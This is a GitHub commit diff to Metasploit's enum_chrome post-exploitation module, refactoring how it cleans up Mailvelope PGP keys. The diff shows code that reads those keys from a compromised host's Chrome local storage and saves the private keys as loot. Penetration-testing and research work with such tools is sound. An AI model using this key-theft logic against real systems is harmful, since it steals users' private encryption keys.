Skip to content

Commit 25f7af4

Browse files
committed
use gsub instead of split/join
1 parent 2f543d3 commit 25f7af4

File tree

1 file changed

+8
-4
lines changed

1 file changed

+8
-4
lines changed

modules/post/windows/gather/enum_chrome.rb

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,11 @@ def initialize(info={})
4040
], self.class)
4141
end
4242

43-
def extension_parse_mailvelope(username, extname)
43+
def extension_mailvelope_parse_key(data)
44+
return data.gsub("\x00","").tr("[]","").gsub("\\r","").gsub("\"","").gsub("\\n","\n")
45+
end
46+
47+
def extension_mailvelope(username, extname)
4448
chrome_path = @profiles_path + "\\" + username + @data_path
4549
maildb_path = chrome_path + "/Local Storage/chrome-extension_#{extname}_0.localstorage"
4650
begin
@@ -64,7 +68,7 @@ def extension_parse_mailvelope(username, extname)
6468
keys = res["value"].split(",")
6569
print_good("==> Found #{keys.size} private key(s)!")
6670
keys.each do |key|
67-
privkey = key.split("\x00").join.tr("[]","").split("\\r").join.split("\"").join.split("\\n").join("\n")
71+
privkey = extension_mailvelope_parse_key(key)
6872
vprint_good(privkey)
6973
path = store_loot("chrome.mailvelope.privkey", "text/plain", session, privkey, "privkey.key", "Mailvelope PGP Private Key")
7074
print_status("==> Saving private key to: #{path}")
@@ -74,7 +78,7 @@ def extension_parse_mailvelope(username, extname)
7478
keys = res["value"].split(",")
7579
print_good("==> Found #{keys.size} public key(s)!")
7680
keys.each do |key|
77-
pubkey = key.split("\x00").join.tr("[]","").split("\\r").join.split("\"").join.split("\\n").join("\n")
81+
pubkey = extension_mailvelope_parse_key(key)
7882
vprint_good(pubkey)
7983
path = store_loot("chrome.mailvelope.pubkey", "text/plain", session, pubkey, "pubkey.key", "Mailvelope PGP Public Key")
8084
print_status("==> Saving public key to: #{path}")
@@ -97,7 +101,7 @@ def parse_prefs(username, filepath)
97101
print_status("=> #{values['manifest']['name']}")
98102
if values['manifest']['name'] =~ /mailvelope/i
99103
print_good("==> Found Mailvelope extension, extracting PGP keys")
100-
extension_parse_mailvelope(username, name)
104+
extension_mailvelope(username, name)
101105
end
102106
end
103107
end

0 commit comments

Comments
 (0)